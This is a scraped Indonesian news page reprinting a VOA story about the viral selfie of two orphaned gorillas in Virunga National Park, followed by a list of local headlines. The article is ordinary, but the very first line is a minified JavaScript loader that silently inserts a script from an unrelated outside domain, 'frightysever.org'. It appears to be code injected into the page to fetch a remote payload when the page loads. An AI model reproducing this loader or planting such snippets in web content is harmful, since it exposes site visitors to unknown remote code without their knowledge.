(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
VOA

Cerita Dibalik Swafoto Gorila Kongo yang Viral


Berdiri santai dan mengarahkan kepala mereka ke kamera, Ndakazi dan Ndeze tampak seperti sudah terbiasa berswafoto. Tapi keduanya adalah gorila.

Dalam foto itu tampak dua gorila perempuan yatim-piatu yang berpose seperti manusia. Foto diambil di Taman Nasional Virunga di Republik Demokratik Kongo dan sudah viral sejak diunggah pekan ini oleh ke akun instagram dan Facebook milik taman nasional itu.

Mathieu Shamavu, jagawana taman nasional dan pengurus pada Pusat Perawatan Gorila Gunung Senkwekwe, mengatakan dia sedang berjalan dengan Ndakazi dan Ndeze ketika dia melihat ada kesempatan untuk berswafoto.

“Kami melepas mereka supaya mereka santai. Mereka ingin tahu apa yang sedang terjadi. Mereka berdiri. Dan ketika mereka berdiri, saya mengambil ponsel saya karena saya tidak mau kehilangan kesempatan yang langka,” kata Shamavu dalam wawancara.

“Ketika mereka melihat saya mengeluarkan ponsel, mereka berhenti melakukan kegiatan mereka, melihat kamera dan menyaksikan.”

Ndakazi dan Ndeze dirawat oleh para pengasuh di Pusat Senkwekwe setelah diselamatkan saat masih bayi pada 2007.

Taman nasional itu terletak di antara beberapa gunung berapi di Afrika Tengah, yang memiliki lebih dari setengah jumlah populasi gorila gunung. Satwa itu termasuk dalam satwa yang terancam punah karena menghadapi ancaman dari pemburu satwa liar dan kelompok bersenjata.

“Anda lihat sendiri, mereka bisa jalan sepanjang satu atau dua meter dengan dua kali. Selain itu, mereka terbiasa dengan manusia. Mereka suka meniru dan melakukan apa yang orang-orang lakukan,” kata Shamavu.

“Kami selalu bersama. Kami memberi makan, berjalan-jalan dengan mereka, kami menemani mereka di habitat alaminya, kami bertanggung jawab atas keamanan mereka. Karena itu mengapa gorila-gorila itu terbiasa dengan kami, penjaga mereka dan bukan yang lain. Tidak ada wartawan, pengunjung yang bisa membuat foto seperti ini.”

Taman nasional itu ditutup tahun lalu setelah orang-orang bersenjata menculik turis dan membunuh seorang jagawana yang mencoba melindungi gorila dan dibuka kembali Februari tahun ini. Tapi kurang dari sebulan kemudian, pasukan milisi membunuh seorang jagawana lagi. (ft/kk/voa)

Reporter:ft/kk/voa
Editor:KK

Desy Arfianty

Recent Posts

Kantor Baru di Balai Kota Banjarbaru, Pendopo hingga Rumah Dinas Baru

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota (Pemko) Banjarbaru kembali memulai percepatan rencana pembangunan tiga proyek strategis… Read More

30 menit ago

Gugatan Pilwali Banjarbaru di MK Berlanjut Keterangan KPU Banjarbaru dan Paslon Lisa-Wartono

KANALKALIMANTAN.COM, BANJARBARU - Tahapan sidang sengketa Pemilihan Wali Kota dan Wakil Wali Kota (Pilwali) Banjarbaru… Read More

2 jam ago

Ketua DWP HSU : Peringatan Isra Mikraj Momen Memperkuat Keimanan

KANALKALIMANTAN.COM, AMUNTAI - Ketua Dharma Wanita Persatuan (DWP) Kabupaten Hulu Sungai Utara (HSU) Mislena Marangkir… Read More

3 jam ago

Toyota Rush Penyok Hantam Tiang PJU Hingga Roboh di Kayu Tangi

KANALKALIMANTAN.COM, BANJARMASIN - Kecelakaan tunggal mobil pribadi terjadi di Jalan Brigjen Hasan Basri, Kayu Tangi,… Read More

3 jam ago

Hari HAM Nelayan dan Masyarakat Sipil Nasional, Ini Tantangan Nelayan Indonesia

KANALKALIMANTAN.COM – Tanggal 13 Januari 2025, diperingati Hari Hak Asasi Manusia (HAM) Nelayan dan Masyarakat… Read More

7 jam ago

Gagalkan Transaksi di Kemuning, Tiga Paket Sabu dan Sajam Disita Polisi

KANALKALIMANTAN.COM, BANJARBARU - Tengah malam seorang lelaki kedapatan bertransaksi narkoba di Jalan Pendidikan Masyarakat, Kelurahan… Read More

7 jam ago

This website uses cookies.